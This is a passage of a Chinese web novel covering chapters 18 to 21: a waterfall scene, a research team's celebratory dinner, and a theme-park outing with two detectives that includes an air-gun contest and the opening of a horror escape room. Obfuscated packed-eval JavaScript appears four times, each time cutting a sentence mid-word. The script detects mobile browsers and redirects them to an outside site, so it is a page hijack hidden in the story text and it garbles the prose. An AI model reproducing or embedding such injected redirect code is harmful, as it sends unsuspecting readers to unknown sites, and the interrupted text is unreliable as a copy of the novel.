与水流一同灌入的还有明亮的天光,岩壁上树木稀少,阳光不受遮挡地倾斜而下,阳关穿透蒸腾的水雾,隐约可见小小的彩虹。 白色的瀑布之下是一汪清澈透明的潭水,水中之鱼如同《小石潭记》所述,“皆若空游无所依”。 小温看傻了,连感叹声都没有了,只是愣愣站在洞口处望着那飞流直下的瀑布。 老温看着小温惊讶的表情,目光柔和,他没有出声打扰小温,默默陪女儿站在洞口望着那白色的瀑布。 小温看了好一会,随后兴奋地跑到瀑布边,一下子冲过头靠得有些近了,被浇了一脸水。 老温哈哈大笑,小温连忙后退,抹了把脸,先是回头瞪老温,再找个近距离观察瀑布的安全距离。 小温站在潭水边,有小鱼好奇地围了过来,小温也好奇地蹲下身,摘下手套,双手浸入冰凉的潭水中。 小鱼被吓了一跳,纷纷四散游开,凉意顺着指尖攀上四肢百骸,舒服得她眯起眼。 “真舒服啊~”小温眯着眼感叹,突然像是想起什么似的回头问老温,“老温,几点了啊?” “下午四点半——”老温正在仔细端详一块石头,看了眼手表回道。 还有一个半个小时,有点久,但小温想让大温也看看这个景色,于是她对老温说道:“老温,我们等六点多再回去吧。” “行。” 老温没有问为什么,甚至连回答都没有一丝迟疑。 或许是他真的知道有另一个温流照的存在,也希望另一个温流照能看到这样的景色,又或许他只是对女儿提出的要求无条件满足。 总之,他们真的在这里待到了下午六点。 等待期间,小温也没忘记拍照分享给何景澄这个新朋友,她拍了瀑布之上的小彩虹,拍了水潭中的游鱼,还拍了奇形怪状的岩石。 小温兴高采烈地拍了一堆照片,一股脑全发给何景澄。 兜里的手机震个不停,何景澄有些无奈地掏出来看了看,看到十几张风景照里夹着一张老温啃巧克力棒的照片,顿时笑了。 【何景澄】:你好像很开心。 【小温】:超级开心! 当感受到熟悉的抽离感时,小温默默找了个观赏瀑布的好位置。她在一块大岩石上坐下,下一刻,大温睁开眼。 风声,水声,这些声音成了回忆的伴奏曲,大温看到了眼前壮丽的景色,一时间甚至忽略了胀痛的脑袋。 小温的身体就像一个储存卡,可以记录身体经历的事,不会记录思想。 大温不知道小温在想什么,但她太懂她自己了。 她希望她快乐,超级快乐。 大温坐在岩石上哼歌,双手撑在石面上,上身左右摇晃。 如小温所愿,此时大温在享受着轻松愉快的放松时间。 …… 回到科考队驻扎的溶洞口时已经是晚上七点半了,半数科考队成员已经下山,只剩下半数人等待老温和大温返回。 虽说这次走的路线都是提前探过的安全路线,不会出什么问题,但卢旗旗还是不由自主地担心。 特别是发生了谋杀未遂案后,卢旗旗总是忧心自己哪里疏忽了,导致同事的死亡。 她就这样有些焦心地等待着,等待着,终于看见了返程的父女俩。 “旗旗姐!”大温一见卢旗旗就跳起来招手,换做之前她肯定没法对卢旗旗如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364363|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热情,现在芥蒂解除,她有些喜欢这个责任感很强的年轻女人了。 不过,大温跳起来的时候忘记了脚下不是平地,落地时踉跄了下,险些崴脚,看得卢旗旗一喜又一惊的。 老温都被大温吓到了,连忙按住大温的肩膀:“祖宗祖宗,别在这跳啊,上去再跳。” 大温有些尴尬地挠头,可惜戴着手套挠头也少了点手感。 卸下身上的装备,换回自己的衣服,剩下的科考队成员们一同下山。 石广洋提前在县城订了一家餐馆,另外一半人已经到餐馆点餐了,石广洋把菜单发到聊天群里,让还未到的一半成员提前点餐。 老温开车,大温坐在副驾一个个给他报菜单。 “红烧兔头、回锅肉、干锅牛蛙、滑蛋牛肉、小鸡炖蘑菇、鲫鱼豆腐汤……” “鲫鱼豆腐汤吧。” “行,小鸡炖蘑菇。” “温流照同学,你不是爸爸的小棉袄了吗?” “您好,您的贴心小棉袄已过期,请充值。” “好吧,等会下车再给。”老温有些无奈。 大约一小时后,他们终于到了预订的饭店,石广洋在门口等待着。这家饭店的规模还算可观,客流量也挺大的,大概是县城里最好的饭店了。 大温美滋滋地从老温那里收了零花钱,这种不用做什么就有人给钱的日子真爽啊,已经好多年没体验过了。 工作结束总是会让人心情愉悦,先前一直想把大温拐回家的那位女教授丁天春,高兴得抄起桌上的啤酒瓶高歌一曲。 酒壮怂人胆,众人喝了点酒,连吕瀚博黑着的脸都忽略了,聚在一起又唱又跳的好不热闹。 吕瀚博不喜欢太吵闹的环境,但这次居然没呵斥也没走开,只是默默吃自己的。 大温再一次扼腕叹息,自己现在用的是未成年人小温同学的身体,不能喝酒了,只能愤恨地喝着营养慢线。 其实营养慢线也挺好喝的,嗯。 酒足饭饱,卢旗旗举手提议:“我们拍个合照留念留念吧!” “好——”丁天春摇摇晃晃地附和。 “对啊,机会难得,这次终于有老温女儿的照片了。”有人暗戳戳调侃老温,从来不给别人看女儿的照片。 “喂!”老温怒了。 “哈哈哈哈——” 众人哄堂大笑,卢旗旗叫来服务生帮忙拿相机拍照,并组织一群醉鬼排排站好,顺便把角落里躲着装蘑菇的石广洋,以及专心吃菜装作没听见的吕瀚博拽起来。 “三、二、一!西瓜甜不甜——” “甜——” “咔嚓——” 相机定格了那一刻的画面,老温和大温勾肩搭背,空出来的另一只手在比耶,两人笑容如出一辙的灿烂。 借着酒劲,卢旗旗大着胆子一手拽着石广洋,一手拽着吕瀚博。石广洋不喜欢拍照,笑容有些僵硬,吕瀚博则阴沉着脸,看起来很不情愿,但也没走开。 大温看着发到群聊里的合照,至此,虽然凶手依然没能找到,但科考队的工作圆满完成了。 19. 小姨 “老何说他们刚好也要回去了,要不我们去沛霖市的欢乐谷玩玩?”第二日清晨,老温这样问小温。 老何说的就是何祎庵,何景澄的爸爸,小温眼睛一亮,一点也没犹豫:“我去!” “小孩子不准说脏话。” “……我是说我要去玩。” 从乐宁县到沛霖市欢乐谷大约花了两个小时,小温父女率先到达欢乐谷入口。 正值周末,欢乐谷很多大人孩子来来往往,小温找了个阴凉处给何景澄发消息。 【小温】:你们快到了吗? 【何景澄】:马上,抱歉,你们介意多两个人吗? 【何景澄】:我小姨也在乐宁县,我爸说要带小姨出来玩玩,不能让她老想着工作。 【小温】:当然不介意,人多热闹。 不过,小姨? 哦,对了,何景澄是说过他小姨是警察。 小温拍了拍旁边的老温:“老温,何景澄说要带他小姨一起来。” 老温点头:“哦,那个当警察的小姨啊。” “警察”二字一出口,两个人都猛抬头,像是想起了什么,你看看我我看看你。 等等,警察?该不会…… 之前一直没想过,他们这几天见过这么多警察,有没有可能见过何景澄的小姨? 小温仔细回忆这几天见过的警察的脸,还没想出来有没有长得像何景澄的人,答案就出现在她眼前了。 短直发的英气女人叼着熟悉的巧克力味棒棒糖,满脸无奈,连续加班让她的精神有些萎靡,倒也不是说困,而是没什么活人气。 她穿着短袖短裤,露出漂亮的肌肉线条,走路带风,看起来很酷。 她身边跟着同样很眼熟的人,短卷发、婴儿肥、正是一直跟在短直发刑警身边的小卷毛。 与短直发女人不同,小卷毛很兴奋,好像被关在学校一个月,终于有机会出来玩一次的苦逼高三生。 是接管老温案子的刑警金凤零和她的卷毛小助理鱼小丹啊,小温意外又不意外。 “抱歉,我们来晚了。”何景澄穿着车上初遇那天的白衬衣,率先上前和小温打招呼。 小温还没说话,金凤零就认出了小温,她震惊地指着小温说道:“你们——是你们——” “什么什么?”鱼小丹从金凤零身后探出头,在看到小温和老温的时候也同样露出惊讶表情,“啊!你们——是你们——” 小温觉得不能破坏阵型,就学着她们的语气惊讶道:“你们——是你们——” 三个人的夸张表情引得路人频频侧目,何祎庵了然:“原来凤零办的是你们的那件案子。” 案件信息对家人也是需要保密的,何祎庵也只是知道金凤零因工作变动,现在在乐宁县。 何景澄也没有听金凤零说过,只是根据从大温那里得来的一些信息,推测金凤零在办的是老温的案子。 老温倒是没怎么惊讶,语气平平:“哇,还真是你们,连自我介绍都免了。” 小温悄悄凑到何景澄耳边确认道:“你小姨应该是金凤零吧?” 每次见面金凤零都带着鱼小丹,此时也是,这让小温忍不住想确认一下。 何景澄:“嗯,丹丹姐是小姨的学妹,现在是徒弟了,她们关系很好,经常同进同出。” 鱼小丹像课堂上回答问题的学生一样举起手,叽叽喳喳地问道:“我们去玩什么?过山车?跳楼机?海盗船?还是鬼屋?要不都去吧!” 难得出来玩,鱼小丹感动得要落泪了。这几天加班加点复查方承平经手的案件,已经找到了三个被人为修改过的卷宗。 针对方承平本人的审讯依旧毫无进展,无论如何询问,换谁来审讯,他都一言不发,铁了心要让他们自己查。 今早鱼小丹起床时,金凤零正在打电话,她本以为又是工作上的电话,意外听到了“游乐园”“出去玩”等字样。 “噔”的一下,鱼小丹的玩乐雷达动了,她一把按住正要拒绝的金凤零,夺过电话兴奋大喊:“请组织放心,我一定把老大拖出去玩!” 说完鱼小丹“啪”一下挂断电话,不给金凤零一点拒绝的机会。 金凤零的手还伸在半空中,不可置信地瞪着鱼小丹。鱼小丹把息屏的手机塞回她手里,末了还捏捏她的手指,让她抓紧些别掉了。 金凤零放下手,鱼小丹仿佛有心灵感应一般,灵巧闪身躲过金凤零的扫堂腿。 “鱼、小、丹——”金凤零捏着手机,忍无可忍,追着鱼小丹打。 鱼小丹格斗课年级第一也不是躺着赢来的,她像只回归雨林的猴子,在狭小的员工宿舍里上蹿下跳,跑得隆隆作响,金凤零险些没抓到她。 两人闹了半天,以鱼小丹踩断一根床板结束。员工宿舍是四人间,但这一间只有她们两个,门后挂着一块小黑板,黑板上贴着花花绿绿的纸片,全都是金凤零整理的案件信息。 临出门时,金凤零还在看黑板上整理的案件信息,鱼小丹重重叹息,她就没见过比金凤零更爱工作的人了。 鱼小丹好说歹说,终于把金凤零拉出门了。 拼命争取来的玩乐机会,当然要痛痛快快地玩了! 鱼小丹叉腰,很骄傲:“哼哼!就让我这个玩乐的专家来带你们尽情玩耍吧!” 小温眼睛亮晶晶地看着鱼小丹,鱼小丹不知道从哪拿了一张地图,跟小温凑在一起嘀嘀咕咕地商量着游玩路线。 有可靠的大人带队,何祎庵和老温不必看着孩子,便自行找了家咖啡厅坐着聊天。 金凤零不打算参与讨论,交给鱼小丹安排就行了,她叼着棒棒糖,很酷地站在一旁。 鱼小丹和小温很快商量出了游玩路线,俩人不知为何很合得来。 “拒绝加班小分队!出发咯!”鱼小丹一声令下,小温很配合地窜了出去,“先去最近的大摆锤吧!” 鱼小丹说完也窜了出去,一个大人一个孩子兴奋地冲在前头,金凤零和何景澄跟在身后,不疾不徐的。 刚刚走到大摆锤排队处,就见小温傻在原地,鱼小丹泪眼汪汪地冲回来抱住金凤零哀嚎。 “老大——我们小队被暗算了!被暗算了哇!” 金凤零有点嫌弃地扒开鱼小丹,何景澄环视一圈,目光所及之处人山人海,所有大型游乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364364|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 设施入口处都排起了长龙。 他们好像都忘记了今天是周末,还是暑假期间的周末,像欢乐谷这样孩子多的地方自然人满为患。 小温料到了可能会很多人,没想到是这么多人。 入口处等待的大人孩子已经排到了围栏外,队伍最末尾还有个小男孩在和父亲闹。 “我现在就要玩!” “要排队的,我们等等。” “不要!我现在就要玩!人这么多要等到什么时候!” 小温不是无理取闹的孩子,她没有闹,只是默默垂头丧气地走开了。 何景澄在看地图,他戳了戳有些泄气的小温。 “前边有一个娱乐射击场,要去看看吗?”何景澄不知何时拿了鱼小丹的地图,指着图上的一处。 刚刚小温已经看过一遍地图了,也看见了何景澄所指的这个建筑物,只是她没注意到地图上的文字描述,此时仔细一看。 这是一个综合娱乐场所,有跳舞机抓娃娃机还有打地鼠之类的小游戏,除此之外还有一个娱乐靶场。 “诶~这个欢乐谷还有靶场啊~”鱼小丹不知何时也凑了过来,正好在何景澄和小温中间,“老大老大!我们去比比枪法吧!” 何景澄斜眼睨鱼小丹,有些不悦,仅仅是一瞬,下一刻又恢复原样了。 金凤零对这种娱乐性质的靶场没什么兴趣,摆摆手:“这种枪没个准头,没啥好比的。” 鱼小丹漂移到金凤零身边,两只食指疯狂戳金凤零的上臂,语气贱兮兮的:“诶~学姐难道是怕输给我?” 金凤零面不改色,一拳捶在鱼小丹脑门,鱼小丹捂着脑门被拽走了。 “鱼小丹,你最好想好了输给我要上供点什么东西。” 说着,金凤零拖着鱼小丹走向地图上标注的靶场。 激将法果然很好用。 何景澄像一个尽职尽责的旁白,悄悄和小温解释:“小姨上学时是全年纪枪法最好的。” 小温听罢,看金凤零的眼神里都带上了敬意。 看地图上的简介,靶场面积很小,似乎配备的是□□。 靶场很小,位置很偏,七拐八绕的。小温他们进来时,靶场只有一对年轻的小情侣,女生端着枪,男生从背后搂着女生,你侬我侬的,也不知道这是要打哪个枪了。 “咳咳!”金凤零忍不住轻咳两声提醒一下那对小情侣,她身后还跟着两个未成年的孩子,影响不好。 鱼小丹看了一圈发现这个射击场简陋得不行,苦中作乐地大笑:“太好了,根本不用排队哈哈哈。” 那对小情侣发现来人了,男生有些不好意思松开了女生,女生有些尴尬地和他们搭话:“哎呀,没想到除了我们还会有人来这里。” 小温看着眼前的五把□□,心想这看起来确实没啥人会来。 仿佛是为了缓解尴尬,男生也跟着询问:“你们也是来玩□□的?还有两个孩子啊,哈哈。” 金凤零的棒棒糖只剩最后一点了,她咬碎最后一口糖块,这次垃圾没塞给鱼小丹,塞给了小外甥。 金凤零很酷地说:“不,我们是来比赛的。” 20. 比赛 金凤零说出这话的同时,靶场的工作人员拿来了四副护目镜和降噪耳塞,发给他们四人。 金凤零和鱼小丹接过护目镜,在那对陌生小情侣的注视下利落地戴好,塞好耳塞,端起气|枪。 “砰砰!砰砰砰——” 她们各自开了几枪试试手感,金凤零啧舌,似乎对这枪的准头很不满意。 何景澄捏着棒棒糖杆子,在室内看了一圈,没找到垃圾桶,低声询问工作人员,该去哪里扔垃圾。 小姨和他母亲关系很好,经常去他们家做客,也经常指挥他帮忙,他已经习惯替小姨跑腿了。 只不过平时都是让鱼小丹跑腿,现在为了方便她们比赛,换成一直很悠闲的何景澄负责跑腿。 工作人员为他指了路,临出门前,何景澄又看了一眼小温,少女一脸期待地看着金凤零和鱼小丹,期待着看到一场激动人心的比赛。 何景澄悄悄离开了靶场,没有打扰任何人。 那对小情侣察觉金凤零和鱼小丹是专业的,也忍不住屏息围观。 总是不着调的鱼小丹在拿起枪的那一刻就好像变了一个人,她全神贯注地注视着十米外的靶面,连呼吸都静止了。 金凤零在拿到枪的时也马上精神了,目光清亮,仿佛整个世界只剩下她、手中的枪和不远处的靶面。 “砰——砰——砰——” 真正枪法娴熟的人出枪射击的速度也是极快的,从端起气|枪到完成一组射击,整个过程不到两分钟。 紧接着是第二组、第三组、第四组……六组过后,小温刚提起的心还没提到位,两人就已经决出胜负。 她都没能看清二人的动作,就见她们同时放下枪,变回了平时松懈的样子。 鱼小丹抓着金凤零的肩膀哀嚎:“老大你也太变态了吧!准头这么差的枪也能枪枪在10.5以内!” 金凤零笑得很得意:“基操,未来一个月的卫生你包。” 鱼小丹的哀嚎声更大了。 旁边的小情侣看傻了,小温也看傻了,这不是还没报成绩吗?怎么就知道谁输谁赢了? “10.5、10.6、10.8、10.7……” “10.2、10.5、10.7、10.7……” 工作人员报出了两人的成绩,并给出了最终成绩,金凤零10.7,鱼小丹10.6,二人仅相差0.1。 鱼小丹的最高成绩10.9,比金凤零还高,但是金凤零比她稳定,最终金凤零胜。 “好、好厉害……”女生忍不住赞叹。 “啪啪啪——”男生忍不住鼓掌。 “这是专业的啊。”靶场的工作人员抱臂站在一旁,语气充满欣赏。 何景澄返回靶场时,就看见小温在用崇拜的眼神看着金凤零和鱼小丹。他手里提着一袋矿泉水,很自觉地做起后勤工作。 “谢谢。”小温接过何景澄递来的矿泉水,还是常温的,她有些惊讶,这是担心她们喝不了冰水吗? 那个女生犹犹豫豫了好一会,眼一闭,心一横,大着胆子对金凤零和鱼小丹说:“我可以向你们请教一下枪法吗?” 她满眼都是期待,似乎真的对气|枪很感兴趣。 女生的小男友有些尴尬,他在来靶场前曾夸下海口,说要教女生,没想到见着了专业人士,自己那点业余水平已经撑不起场子了。 “我来我来!我喜欢小美女!”鱼小丹兴奋举手。 “丹丹老师丹丹老师!我也是小美女可以教我吗?”小温也举手。 小温说这话时脸不红心不跳,完全没有自夸的尴尬,她真心认为自己也是个小美女。 何景澄听了小温的话,嘴角微微上扬,先前在动车上说小温很有趣是真心话,他是真心觉得小温很可爱。 “行行行!都教都教!” 受到女孩子欢迎让鱼小丹很高兴,高兴到比赛输给金凤零这件事都被忘在脑后了。 何景澄对气|枪没什么兴趣,依旧安心为三位女士做后勤工作。 何景澄在手机上查看这家欢乐谷的介绍,发现这里的娱乐设施种类真的很多,甚至还有一栋楼的密室剧本杀之类的。 他按照简介上的提示找客服询问了密室的档期,人不算多,等小温她们练完□□刚好能赶上。 何景澄临时拉了个群,发了密室的定位,附带一张海报,海报里是各种主题密室。 何景澄:“欢乐谷里的密室比较空闲,我发在群里了,你们看一下有想玩的主题吗?” 小温正在仰头咕噜咕噜喝水,三个人闻言纷纷掏出手机。 【金凤零】:密室? 【鱼小丹】:喔!密室! 【何景澄】:这些都是刚好能排到的密室,等靶场这边到时间了刚好可以过去。 【小温】:“第十三中学怪谈”一票! 【鱼小丹】:“第十三中学怪谈”两票! 小温和鱼小丹莫名其妙很有默契,都选了同一个主题。 【老温】:为什么不去“古堡疑案”? 许久没出现的老温插话道。 【金凤零】:追求真实感吧,小孩都这样。 这个“小孩”很明显包括了鱼小丹,小温看见鱼小丹在拿胳膊肘捅金凤零,似乎在表达她的不满。 【何祎庵】:注意安全,不要慌乱。 【何景澄】:嗯,我会注意的。 【金凤零】:放心,有两个刑警跟着,就算是有行凶的歹徒我俩都能把孩子们保护好。 鱼小丹很配合地发了一个秀肌肉的表情包,似乎在附和金凤零的话。 【小温】:为什么密室里会有歹徒啊! 小温没忍住吐槽。 众人很快定下密室的主题,又闲扯了几分钟。 老温和何祎庵在欢乐谷附近找了家咖啡店坐着,老温的社交达人属性又爆棚了,和咖啡店里的客人聊得热火朝天。 老温百忙之中抽空晒了一张照片,照片里一个寸头的中年男人和一个金发碧眼的中年外国佬。 也不知道是不是被老温带的,那个外国佬露出和老温如出一辙的傻笑,两个大男人就这样对着镜头傻笑,说不上来的滑稽。 【老温】:遇到了一个很热情的外国佬,还好你爹我精通外语,成功带他学习了中国文化。 【小温】:什么中国文化? 【老温】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364365|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :五子棋。 小温哑然失笑,本来还担心老温会无聊,现在看来这担心有些多余了。 那可是老温,老温有多会给自己找乐子她可是知道的。 团体行动时往往会由活跃的成员主导行动,在“拒绝加班小分队”里,则是由小温和鱼小丹主导。 金凤零完全是被拉来的,这位尽职尽责的刑警脑子里似乎还在惦记着没侦破的案子。 何景澄对这些游乐设施兴趣都不大,原本他的心思就不在这些游乐设施上。 结果只有小温和鱼小丹玩得最嗨。 整个建筑物被划分了很多个区域,靶场在最边边的一个角落,很不起眼,连他们专门去靶场的人都觉得有些难找。 离开靶场时,小温和鱼小丹一边走一边玩,看见抓娃娃机要停下来抓几个娃娃,看见游戏机要停下来打两把。 抓到的娃娃全都塞给何景澄,玩游戏机要用的游戏币也是何景澄去换的。 玩到最后,小温看着抱着一把娃娃的何景澄咯咯笑。 “哈哈哈!何景澄同学,你现在好像一个拎包的!” 何景澄抱着一串奇形怪状的娃娃,笑容有些无奈。那一串娃娃里有几个长得很丑萌,和何景澄姣好的脸形成鲜明对比。 路过的游客频频侧目,有看那些娃娃的,也有看何景澄的脸的。 四个人,小温和鱼小丹负责玩,金凤零充当保镖,何景澄充当拎包的可移动置物架。 算算时间差不多了,一行人才继续往外走。 穿过一排排的游戏机,最靠近大门的是跳舞机区,许多年轻的男男女女在随着音乐舞蹈。 隔得老远时小温就注意到,其中一台机子周围围了一圈人,她记得她进来的时候这里还没那么多人。 这些人有男有女,围成了一个圈,小温个子高,透过人头的间隙隐约看见,中间是一个和小温差不多大的女生。 女生长得很漂亮,五官精致,身材高挑,头发乌黑柔顺。她舞蹈时的姿态优雅,仿佛脚下不是普通的跳舞机,而是铺着红毯的舞台。 小温不懂舞蹈,但是能一眼看出女生是专业的,她的每一个动作仿佛都在喊着“注视我吧”“为我着迷吧”。 透过人群的间隙,小温不由自主停下看着那个女生。 周围的人全都不由自主受她吸引,有些人天生有吸引人的魔力,不需要做什么就能够吸引人们的视线,这个跳舞的女生就是如此。 路人驻足观看,其他跳舞机上的游客也忍不住停下观看,没有人说话,所有人都在凝神注视着那个跳舞的女生。 他们的注视并非出于欲望,而是出于对美最纯粹的欣赏。 这个跳舞的女生很美,舞蹈也很美。 鱼小丹吹了个流氓哨:“喔~有漂亮妹妹~” 金凤零斜眼睨她,对她败坏刑警名声的行为表示不满。 一曲终了,跳舞的女孩正好面向小温的方向,她优雅地行了一个谢幕礼,像一只蝴蝶优雅落地,她抬眼,正巧与小温四目相对。 人群爆发出阵阵掌声,小温一愣,随后对女孩友好一笑,也跟着鼓掌。 跳舞的女孩也报以友善的微笑。 21. 十三中怪谈(一) 从综合娱乐所到密室需要走十来分钟,何景澄路上买了个购物袋,把那一堆娃娃装好提着。 他们到密室时,上一场游客刚刚结束游玩,几个人你推我搡,从出口走出。 “吓死我了!” “我*,那鬼一直追我!” “好累,跑得好累……” 小温这间密室除他们四人外,还有一对十几岁的年轻姐弟,总共六人。 姐弟俩坐在沙发上,姐姐听了上一批游客的吐槽,露出忧心的神情。 工作人员是个漂亮的小姐姐,她简单和六人介绍了一下密室,依照流程询问有无心脏病之类不适合游玩的疾病,最后开始询问他们游玩难度。 “我们的密室有三种解密难度,一种是轻松的娱乐模式,解密没有什么压力,我们的工作人员也会给些提示。另一种是给有能力的玩家游玩的专业模式,专业模式有两种难度,低难需要动点脑子,但还算轻松,高难需要思考的地方比较多,建议量力而行。” 那对姐弟互相看了眼,似乎在思考选什么难度合适,鱼小丹率先发言。 “最高最高!没关系,我们有个小侦探!”鱼小丹说着,拍了两下何景澄的背,力道有点大,拍得人一愣一愣的。 对哦,何景澄之前确实说过他挺擅长推理的。 想起这事后,小温又不由自主打量何景澄。 挺奇怪的,认识有一段时间了,小温却还是没能很好地概括何景澄是个什么样的人,她对他的印象模模糊糊的,好像雾里看花,总看不清楚。 “好的,那恐怖程度呢?我们有四种恐怖程度,轻松愉快的无恐模式,有些惊吓的微恐模式,有少量NPC追逐的中恐模式,有较多NPC追逐加小黑屋模式的重恐模式。” 鱼小丹:“最高最高!我们胆子大得很!” 鱼小丹说话时,小温正好在打量何景澄,因此看到了何景澄有一瞬间想出声阻止。 他的嘴巴微微张来,又缓缓合上,随后抿成一条直线。 小温眨眨眼,有些疑惑,难道何景澄怕鬼? 她有些惊讶,又有些欣喜。 惊讶于何景澄原来并非完美的“学神”,欣喜于自己能够发现他的“不完美”。 在大温的叙述里,何景澄是那个对任何人都温和有礼的学神。 他性格好,和所有人都合得来;长得好看,受女孩子们欢迎;成绩很好,受老师们喜爱,也受学生们敬仰。 何景澄在大温的口中好像很完美,很遥远。 真的是那样的吗? 小温发现,如果自己知道了未来会发生什么事,好像就会陷入一个思维的怪区。 提前把一些本来无限可能得事情框定在一个方向,把一个本来应该深入了解的人提前贴上标签。 把未知,变成了已知。 他们都是什么样的人? 或许应该暂时忘记大温所说的已知之事,更好地了解何景澄才行。 小温正在思考如何委婉地让鱼小丹选择微恐模式,就看见那对姐弟中的姐姐表情纠结,似乎在犹豫要不要开口。 小温主动问她:“同学,你想选哪种恐怖程度啊?” 姐姐没想到小温会问她,有些感激地说:“可以…可以选微恐吗?” 鱼小丹也发现自己忽略了那对姐弟,学着电视里的样子,俯身对姐姐行礼:“当然可以,美丽的小姐。” 姐姐脸有些红,大概是这么直白的称呼让她有些害羞。 丹丹姐真的很喜欢漂亮的小姑娘啊。 何景澄看着小温的侧脸,小温的反应在他的计划之内,即便这是计划好的,提前预测到的,他还是不由得感到高兴。 姐姐看了看他们四人,目光停留在小温身上:“那个,同学,你好像胆子很大,我可以跟着你走吗?” 小温一愣,随后冲姐姐咧嘴一笑:“当然可以了,你可以拉着我的手。” 说着,她向姐姐伸出手,姐姐的眼睛亮了亮。 鱼小丹有些遗憾:“诶,怎么不拉我的手。” 金凤零戳她脊梁骨:“你刚刚都没注意到人家。” 鱼小丹:“……” 这话她没法反驳。 确定好密室的难度后,由小温当领队,六人在工作人员的指引下抽取身份牌。 何景澄把所有人的工作牌都看了一遍,大概是想记下,以便后续解密。 六人按要求把身上的电子设备寄存好,戴好头盔,签署安全协议,在工作人员的带领下蒙眼走入密室。 小温不是第一次来密室,一点也没慌,反倒很兴奋。她一直都很热衷于这类刺激的娱乐项目,每次和朋友去鬼屋或者密室都是她打头阵。 黑暗中人的其余感知会被逐渐放大,小温能听到工作人员把其余五人领到各自的位置坐下的声音。 广播里女工作人员正在介绍故事背景,声音轻柔悦耳,讲述的故事却令人汗毛倒立。 “第十三中学曾发生过一系列诡异事件,事件的起因是一位男教师在自己所带的班级里上吊,第二天,第一个到教室的女学生就看见老师的尸体悬挂在教室的吊扇上。” “在这之后,这名女学生频繁梦见上吊的老师,最终,她的朋友也在同样的位置发现了她的尸体。一个、两个、三个……越来越多学生梦见上吊的老师,然后再以同样的方式死去。” “为了解决这一系列诡异事件,校方找来了一队专门解决诡异事件的调查队。你们的任务是查明第十三中学男教师死亡的真相,杜绝命案的再度发生。” “现在,请调查队成员们摘下眼罩,进行调查,你们的第一个任务是‘逃离闹鬼的教室’。” 小温坐在教室第一排,鱼小丹坐在教室的中央,她发现小温看过来了,咧嘴笑出一口大白牙。 鱼小丹左右两边是那对姐弟,右后方是金凤零,她手上拷了个手铐,她抬手打量着手上的手铐,似乎对手铐的质量有些担忧。 何景澄坐在角落,墙壁上安全通道的标识散发着幽幽绿光,把气氛烘托得有些诡异,小温有点看不清他的表情,只能看见一个纤细的男生的身影。 小温看向何景澄的时候,他正好说话了:“你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364366|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以自由行动吗?” 小温奇怪,站起来绕着桌子转了一圈:“可以啊,行动自如。” 她跺了两下脚,发现其他五人都看着她,她眨眨眼:“难道你们都动不了?” 金凤零晃了晃右手,手铐发出一阵清脆的金属碰撞声,鱼小丹跟着跺了跺脚,同样是金属碰撞声。 鱼小丹:“很遗憾,我俩都被拷起来了。” 也不知道是碰巧还是故意的,两个最常用手铐的刑警反倒被铐起来了。 姐姐弱弱举手,另一只手指着她面前的桌子,小温走近几步看去,桌子上用荧光涂料写着“不许动”。 姐姐:“桌上写着不许动,我不敢动。” 弟弟手里捏着一张纸条,他出声喊小温:“队长,我可以自由行动,我的桌上有一张纸条,不知道写了什么。” 听到弟弟的话,小温才想起来自己还有对讲机可以照明,这是只有队长才有的。 小温拿着对讲机走到弟弟桌前,打开对讲机的照明功能,和弟弟一起看纸条上的内容。 规则一:不要相信课桌上的字,不要破坏教室内的任何东西,做一个好学生。 规则二:不要在夜晚独自一人进入教室,如不慎在教室内被鬼缠上,请保持静止。 规则三:如果看到有人在吊扇上上吊,不要慌张,这是正常现象。 规则四:不要在吊扇上上吊,违反者将被悬挂在吊扇上一夜,以示惩戒。 规则五:不要相信纸条上的内容。 弟弟:“这是……规则?这个密室是规则怪谈类型的吗?” 小温看着这些规则头晕得很:“前两条挺正常的,后边几条是什么情况?有人在吊扇上上吊怎么就正常了?说了不让在吊扇上上吊,但是违反者又要被悬挂在吊扇上,怎么这么矛盾。还有,‘不要相信纸条上的内容’又是什么意思?” 鱼小丹摊手:“动脑子的事交给何景澄就好啦。” 